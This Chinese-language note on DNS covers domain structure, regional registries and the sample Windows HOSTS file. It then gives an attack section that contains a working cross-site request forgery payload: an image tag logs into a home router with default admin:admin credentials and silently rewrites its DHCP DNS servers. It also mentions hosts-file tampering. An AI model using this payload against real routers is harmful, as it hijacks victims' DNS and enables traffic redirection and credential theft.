DNS 是域名系统 (Domain Name System) 的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS 域名结构
通常 Internet 主机域名的一般结构为:主机名.三级域名.二级域名.顶级域名。 Internet 的顶级域名由 Internet网络协会域名注册查询负责网络地址分配的委员会进行登记和管理,它还为 Internet的每一台主机分配唯一的 IP 地址。全世界现有三个大的网络信息中心: 位于美国的 Inter-NIC,负责美国及其他地区; 位于荷兰的RIPE-NIC,负责欧洲地区;位于日本的APNIC ,负责亚太地区。
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
二 DNS相关的攻击类型
<script>
function dns(){
alert('I have changed your dns on my domain!')
i = new Image;
i.src='http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6';
}
</script>//修改dns
<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=dns()>//登录
b hosts文件被修改